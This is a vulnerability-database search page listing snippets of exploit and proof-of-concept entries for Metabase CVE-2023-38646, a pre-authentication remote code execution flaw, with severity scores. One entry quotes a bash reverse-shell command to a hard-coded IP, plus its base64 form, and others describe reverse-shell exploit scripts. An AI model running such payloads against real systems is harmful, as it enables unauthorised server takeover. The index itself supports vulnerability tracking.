Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Settings
Sign in
🔥 Daily Hot!
💪🏽 CPE Enhanced Advisories
🕶 Shadow Exploits
🕵🏼 Vulners CPE
🔐 Security news
💻 Exploit updates
📑 Blogs review
🐧 Linux vulnerabilities
🐞 Bugbounty
🤖 AI High Score
📰 CVE Feed
show all

18 matches found

Kitploit
Kitploit•added 2026/09/22 3:17 a.m.•7 views

CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a python script which exploits the remote code execution vulnerability of Metabase's login software. It allows us to execute arbitrary commands on the server before authentication. Vulnerable versions are Metabase open source before 0.46.6.1 and...

9.8CVSS9.3AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 5:14 p.m.•7 views

MetabaseRCE_CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 PoC A proof of concept of CVE-2023-38646, a Metabase exploit that allows user to do Remote Code Execution utilizing the setup token found in /api/session/properties to send a payload encoded in base64 Usage ./MetabaseRCECVE-2023-38646 -u target url -t target...

9.8CVSS8.5AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 11:51 a.m.•13 views

CVE-2023-38646

CVE-2023-38646 Metabase 事前認証RCE（2023年11月26日） Metabase オープンソース版 0.46.6.1 未満、および Metabase Enterprise 版 1.46.6.1 未満では、攻撃者がサーバーの権限レベルで任意のコマンドを実行できる可能性があります。攻撃には認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 この脆弱性は、api/setup/validate 内のデータベース検証に使用できる setup-token...

9.8CVSS8.9AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 9:42 a.m.•6 views

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a script written in Python that allows the exploitation of the Metabase's software security flaw described in CVE-2023-38646. The system is vulnerable in versions preceding 0.46.6.1 , in the open-source edition, and preceding 1.46.6.1 , in the...

9.8CVSS8.2AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 8:37 a.m.•11 views

CVE-2023-38646

Metabase 事前認証 RCE CVE-2023-38646 2つのファイルを用意しました:- CVE-2023-38646-POC.py - 任意のMetabaseインスタンスがsetup-tokenを漏えいしているか確認するためのツール。 CVE-2023-38646-Reverse-Shell.py - 攻撃者が管理するマシン上でリバースシェルを取得するためのツール。 CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 使い方 root@kitploit: git clone...

9.8CVSS8.7AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 4:36 a.m.•12 views

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase before 0.46.6.1 open source and before 1.46.6.1 Enterprise Exploit for the Remote Code Execution RCE vulnerability identified in Metabase versions before 0.46.6.1 open source and 1.46.6.1 Enterprise. The vulnerability allows attackers to execute arbitrary commands ...

9.8CVSS8.7AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/21 12:39 a.m.•7 views

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase 事前認証RCE Metabaseオープンソース版 0.46.6.1 より前、および Metabase Enterprise 1.46.6.1 より前のバージョンでは、攻撃者がサーバの権限レベルで任意のコマンドを実行できます。認証は不要です。その他の修正バージョンは 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 PoC 手順 1. http://vulnerablehost.com/api/session/properties に移動する 2...

9.8CVSS8.8AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit•added 2026/09/19 6:09 p.m.•9 views

CVE-2023-38646

CVE-2023-38646 元のスクリプトはsecurezeronから取得しました。 テスト中に、このPoCが生成するリバースシェルはbase6エンコード後に末尾の'='文字が原因で悪用に失敗することがわかりました。それを少し修正してこの問題を解決しました。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=...

9.8CVSS8.7AI score0.98677EPSS
SaveExploits37References1
OSV
OSV•added 2024/02/23 2:15 p.m.•14 views

AZL-35452 CVE-2024-26594 affecting package hyperv-daemons for versions less than 5.15.153.1-1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate mech token in session setup If client send invalid mech token in session setup request, ksmbd validate and make the error if it is invalid...

7.1CVSS6.3AI score0.50967EPSS
SaveExploits0References1
GithubExploit
GithubExploit•added 2024/02/22 2:55 a.m.•444 views

Exploit for CVE-2023-38646

Exploit CVE-2023-38646 Metabase before 0.46.6.1 open source...

9.8CVSS10AI score0.98677EPSS
SaveExploits37
Packet Storm
Packet Storm•added 2024/02/15 12:00 a.m.•356 views

Metabase 0.46.6 Remote Code Execution

Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution Google Dork: N/A Date: 13-10-2023 Exploit Author: Musyoka Ian Vendor Homepage: https://www.metabase.com/ Software Link: https://www.metabase.com/ Version: metabase 0.46.6 Tested on: Ubuntu 22.04, metabase 0.46.6 CVE : CVE-2023-38646...

9.8CVSS7.4AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit•added 2023/11/25 5:22 p.m.•633 views

Exploit for CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE 11/26/2023 Metabase ope...

9.8CVSS9.9AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit•added 2023/10/25 5:10 p.m.•474 views

Exploit for CVE-2023-38646

CVE-2023-38646 Python script to exploit CVE-2023-38646 Metabas...

9.8CVSS9.8AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit•added 2023/10/25 5:10 p.m.•517 views

Exploit for CVE-2023-38646

CVE-2023-38646 Python script to exploit CVE-2023-38646 Metabas...

9.8CVSS9.8AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit•added 2023/10/15 1:29 a.m.•366 views

Exploit for CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a python sc...

9.8CVSS10AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit•added 2023/10/09 12:26 a.m.•176 views

Exploit for CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a script w...

9.8CVSS7.2AI score0.98677EPSS
SaveExploits37
Packet Storm
Packet Storm•added 2023/08/09 12:00 a.m.•657 views

Metabase Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Metabase Setup Token RCE', 'Description' = %q Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even...

9.8CVSS7.1AI score0.98677EPSS
SaveExploits37
Metasploit
Metasploit•added 2023/07/22 12:00 a.m.•944 views

Metabase Setup Token RCE

Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even after the setup process has been completed. With this token a user is able to submit the setup functionality to create a new database. When creating a new database, an H2 database string is created wi...

9.8CVSS8.8AI score0.98677EPSS
SaveExploits37
Rows per page
Query Builder